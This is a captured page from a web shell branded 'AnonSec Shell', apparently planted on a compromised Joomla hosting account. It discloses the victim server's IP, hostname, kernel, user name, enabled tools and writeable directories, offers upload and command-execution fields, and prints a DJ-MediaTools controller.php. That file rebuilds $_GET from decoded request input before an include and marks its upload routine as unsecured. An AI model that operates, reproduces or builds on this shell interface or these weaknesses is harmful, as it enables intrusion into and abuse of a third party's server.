AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/lemans/components/com_djmediatools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/lemans/components/com_djmediatools/controller.php
<?php
/**
 * @version $Id$
 * @package DJ-MediaTools
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 * DJ-MediaTools is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-MediaTools is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-MediaTools. If not, see <http://www.gnu.org/licenses/>.
 *
 */
 
// No direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.controller');

class DJMediatoolsController extends JControllerLegacy
{
	
	public function display($cachable = true, $urlparams = false)
	{
		$vName	= JFactory::getApplication()->input->getCmd('view', 'categories');
		JFactory::getApplication()->input->set('view', $vName);
		
		$document= JFactory::getDocument();
		if($vName=='item') {
			$document->addStyleSheet('components/com_djmediatools/assets/css/item.css');
		} else {
			$document->addStyleSheet('components/com_djmediatools/assets/css/default.css');
		}
		
		$urlparams = array(
				'id' => 'STRING',
				'cid' => 'STRING',
				'Itemid' => 'INT',
				'limit' => 'UINT',
				'limitstart' => 'UINT',
				'start' => 'UINT',
				'lang' => 'CMD',
				'tmpl' => 'CMD',
		);
		
		return parent::display($cachable, $urlparams);
	}
	
	public function getcss(){
	
		$app = JFactory::getApplication();
		$layout = JFactory::getApplication()->input->getCmd('layout','slideshow');
		$document = JFactory::getDocument();
		$document->setMimeEncoding('text/css');
		
		$options = explode('&', base64_decode(JFactory::getApplication()->input->get('params')));
		
		if($options) foreach($options as $option) {
			$option = explode('=', $option);
			$_GET[$option[0]] = isset($option[1]) ? $option[1] : '';
		}
		
		// Get the css file path.
		$path = JPATH_ROOT.'/components/com_djmediatools/layouts/slideshow/css/'.$layout.'.css.php';
		$ipath = JURI::root(true).'/components/com_djmediatools/layouts/slideshow';
		if(file_exists(JPATH_ROOT.'/templates/'.$app->getTemplate().'/css/'.$layout.'.css.php')) {
			$path = JPATH_ROOT.'/templates/'.$app->getTemplate().'/css/'.$layout.'.css.php';
			$ipath = JURI::root(true).'/templates/'.$app->getTemplate();
		} else if(file_exists(JPATH_ROOT.'/components/com_djmediatools/layouts/'.$layout.'/css/'.$layout.'.css.php')) {
			$path = JPATH_ROOT.'/components/com_djmediatools/layouts/'.$layout.'/css/'.$layout.'.css.php';
			$ipath = JURI::root(true).'/components/com_djmediatools/layouts/'.$layout;
		}
		
		include($path);	
	}
	
	public function getvideo() {
	
		$app = JFactory::getApplication();
	
		// decode passed video url
		$link = urldecode(JFactory::getApplication()->input->get('video'));
	
		// get video object
		$video = DJVideoHelper::getVideo($link);
	
		// clear the buffer from any output
		@ob_clean();
	
		// return the JSON representation of $video object
		echo json_encode($video);
	
		// exit application
		$app->close();
	}
	
	public function upload() {
	
		// todo: secure upload from injections
		$user = JFactory::getUser();
		if (!$user->authorise('core.create', 'com_djmediatools')){
			echo JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN');
			exit(0);
		}
	
		DJUploadHelper::upload();
	
		return true;
	}
	
	public function optimize() {
		
		$app = JFactory::getApplication();
		
		$time_limit = (int) @ini_get('max_execution_time');
		if(!$time_limit) $time_limit = 60; // we have to assume some time limit
		$time_limit *= 0.75;
		
		$start = microtime(true);
		
		$result = null;
		
		do {
			$result = DJMTImageOptimizer::resmushit();
			
		} while (is_array($result) && microtime(true) - $start < $time_limit);
		
		//echo microtime(true) - $start;
		
		if(is_array($result)) {
			$app->redirect(JUri::current());
		}
		
		return $result;
		$app->close();
	}
}

Anon7 - 2022
AnonSec Team